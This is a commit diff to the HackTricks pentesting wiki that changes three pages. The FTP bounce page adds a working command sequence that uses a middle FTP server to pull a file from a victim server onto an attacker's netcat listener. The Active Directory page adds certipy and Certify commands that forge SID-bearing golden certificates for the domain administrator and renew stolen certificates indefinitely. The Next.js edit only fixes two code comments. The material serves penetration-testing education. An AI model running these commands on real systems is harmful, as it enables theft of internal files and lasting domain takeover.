Skip to content

Commit 570a93d

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 5c0708c + 32aa965 commit 570a93d

File tree

3 files changed

+120
-20
lines changed

3 files changed

+120
-20
lines changed

src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md

Lines changed: 83 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -5,29 +5,98 @@
55

66
## Resume
77

8-
If you have access to a bounce FTP server, you can make it request files of other FTP server \(where you know some credentials\) and download that file to your own server.
8+
If you have access to a **bounce FTP server**, you can make it request files of **another FTP server** (where you know some credentials) and download that file to **your own server**.
99

1010
## Requirements
1111

12-
- FTP valid credentials in the FTP Middle server
13-
- FTP valid credentials in Victim FTP server
14-
- Both server accepts the PORT command \(bounce FTP attack\)
15-
- You can write inside some directory of the FRP Middle server
16-
- The middle server will have more access inside the Victim FTP Server than you for some reason \(this is what you are going to exploit\)
12+
- FTP valid credentials in the **FTP Middle server**
13+
- FTP valid credentials in **Victim FTP server**
14+
- Both servers **accept the `PORT` command** (bounce FTP attack)
15+
- You can **write** inside some directory of the **FTP Middle server**
16+
- The middle server has **more access** inside the Victim FTP Server than you
1717

1818
## Steps
1919

20-
1. Connect to your own FTP server and make the connection passive \(pasv command\) to make it listen in a directory where the victim service will send the file
21-
2. Make the file that is going to send the FTP Middle server t the Victim server \(the exploit\). This file will be a plaint text of the needed commands to authenticate against the Victim server, change the directory and download a file to your own server.
22-
3. Connect to the FTP Middle Server and upload de previous file
23-
4. Make the FTP Middle server establish a connection with the victim server and send the exploit file
24-
5. Capture the file in your own FTP server
25-
6. Delete the exploit file from the FTP Middle server
20+
1. Connect to **your own FTP server** and make the connection passive (`pasv` command) so it **listens** in a directory where the victim service will send the file.
21+
2. Craft the file the FTP Middle server will send to the Victim server (the **exploit script**). This file will be plain text with the needed commands to authenticate against the Victim server, change the directory and download a file to your own server.
22+
3. Connect to the **FTP Middle Server** and upload the previous file.
23+
4. Make the FTP Middle server **establish a connection** with the Victim server and send the exploit file.
24+
5. **Capture** the file in your own FTP server.
25+
6. **Delete** the exploit file from the FTP Middle server.
2626

27-
For a more detailed information check the post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
27+
## Quick check for vulnerable bounce hosts
2828

29+
- **Nmap** still supports FTP bounce checks. Example to verify a potential middle server:
2930

30-
{{#include ../../banners/hacktricks-training.md}}
31+
```bash
32+
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
33+
# or directly attempt a bounce scan
34+
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
35+
```
36+
37+
If the server refuses third‑party `PORT` values the scan will fail; some **embedded/legacy printers, NAS and appliance FTP daemons** still allow it.
38+
39+
## Automating the 2nd FTP download
40+
41+
Below is a modernized way to pull a file through a vulnerable middle FTP server.
42+
43+
1. **Open a passive listener** on your attack box (any TCP sink works):
44+
```bash
45+
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
46+
```
47+
48+
2. **Note** your IP as `A,B,C,D` and port `P` as `p1,p2` (`p1 = P/256`, `p2 = P%256`).
49+
50+
3. **Build the instruction file** that the middle server will replay to the victim:
51+
```bash
52+
cat > instrs <<'EOF'
53+
USER <victim_user>
54+
PASS <victim_pass>
55+
CWD /path/inside/victim
56+
TYPE I
57+
PORT A,B,C,D,p1,p2
58+
RETR secret.tar.gz
59+
QUIT
60+
EOF
61+
# Add padding so the control channel stays open on picky daemons
62+
dd if=/dev/zero bs=1024 count=60 >> instrs
63+
```
64+
65+
4. **Upload & trigger from the middle server** (classic proxy FTP):
66+
```bash
67+
ftp -n <middle_ftp> <<'EOF'
68+
user <middle_user> <middle_pass>
69+
put instrs
70+
PORT <victim_ip_with_commas>,0,21
71+
RETR instrs
72+
QUIT
73+
EOF
74+
```
3175
76+
5. **Grab the file** from your listener (`loot.bin`).
77+
6. **Clean up** the uploaded `instrs` file on the middle server.
3278
79+
Notes:
80+
- Padding (`dd ...`) prevents the control connection from closing before the RETR finishes (large TCP window issue discussed in classic writeups).
81+
- Any service that can **listen and dump TCP** can replace the FTP PASV socket (e.g., `socat -u TCP-LISTEN:2121,fork - > loot.bin`).
82+
- If the middle server restricts privileged ports, use a high port in `PORT` and adjust your listener accordingly.
3383
84+
## Extra tricks
85+
86+
- Use a bounceable FTP server to **port-scan internal hosts** when file relay is blocked:
87+
```bash
88+
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
89+
```
90+
- Some modern WAF/IDS (e.g., Juniper IPS) ship signatures specifically for **FTP:EXPLOIT:BOUNCE-ATTACK**; noisy payloads or missing padding may trip them.
91+
- When the middle server enforces "PORT to same host" restrictions, place your **listener on the middle server itself** (if you have write/execute) and forward the captured file later.
92+
93+
For a more detailed old-school walkthrough check: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
94+
95+
96+
97+
98+
## References
99+
100+
- [Nmap book – TCP FTP Bounce Scan (-b)](https://nmap.org/book/scan-methods-ftp-bounce-scan.html)
101+
- [CPTS Attacking Common Services – FTP Bounce example (2025)](https://www.chaostudy.com/2025/02/24/cpts-attacking-common-services/)
102+
{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/nextjs.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1015,8 +1015,8 @@ Manage sensitive information like API keys and database credentials securely wit
10151015

10161016
module.exports = {
10171017
env: {
1018-
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
1019-
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
1018+
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
1019+
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
10201020
},
10211021
}
10221022
```

src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md

Lines changed: 35 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -63,10 +63,26 @@ Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
6363
```
6464

6565
Notes
66-
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
67-
[account-persistence](account-persistence.md) for more on explicit mappings.
66+
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See [account-persistence](account-persistence.md) for more on explicit mappings.
6867
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
6968

69+
#### Full-Enforcement compatible forging (SID-aware)
70+
71+
Updated tooling lets you embed the SID directly, keeping golden certificates usable even when DCs reject weak mappings:
72+
73+
```bash
74+
# Certify 2.0 integrates ForgeCert and can embed SID
75+
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
76+
--upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
77+
--outfile administrator_sid.pfx
78+
79+
# Certipy also supports SID in forged certs
80+
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
81+
-sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx
82+
```
83+
84+
By embedding the SID you avoid having to touch `altSecurityIdentities`, which may be monitored, while still satisfying strong mapping checks.
85+
7086
## Trusting Rogue CA Certificates - DPERSIST2
7187

7288
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
@@ -110,12 +126,27 @@ Practical knobs attackers may set for long-term domain persistence (see {{#ref}}
110126
> [!TIP]
111127
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
112128
129+
### Certificate renewal abuse (ESC14) for persistence
130+
131+
If you compromise an authentication-capable certificate (or an Enrollment Agent one), you can **renew it indefinitely** as long as the issuing template remains published and your CA still trusts the issuer chain. Renewal keeps the original identity bindings but extends validity, making eviction difficult unless the template is fixed or the CA is republished.
132+
133+
```bash
134+
# Renew a stolen user cert to extend validity
135+
certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx
136+
137+
# Renew an on-behalf-of cert issued via an Enrollment Agent
138+
certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx
139+
```
140+
141+
If domain controllers are in **Full Enforcement**, add `-sid <victim SID>` (or use a template that still includes the SID security extension) so the renewed leaf certificate continues to map strongly without touching `altSecurityIdentities`. Attackers with CA admin rights may also tweak `policy\RenewalValidityPeriodUnits` to lengthen renewed lifetimes before issuing themselves a cert.
113142

114143

115144
## References
116145

117-
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
118-
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
146+
- [Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings)](https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16)
147+
- [Certipy – Command Reference and forge/auth usage](https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference)
148+
- [SpecterOps – Certify 2.0 (integrated forge with SID support)](https://specterops.io/blog/2025/08/11/certify-2-0/)
149+
- [ESC14 renewal abuse overview](https://www.adcs-security.com/attacks/esc14)
119150
- [0xdf – HTB: Certificate (SeManageVolumePrivilege to exfil CA keys → Golden Certificate)](https://0xdf.gitlab.io/2025/10/04/htb-certificate.html)
120151

121152
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)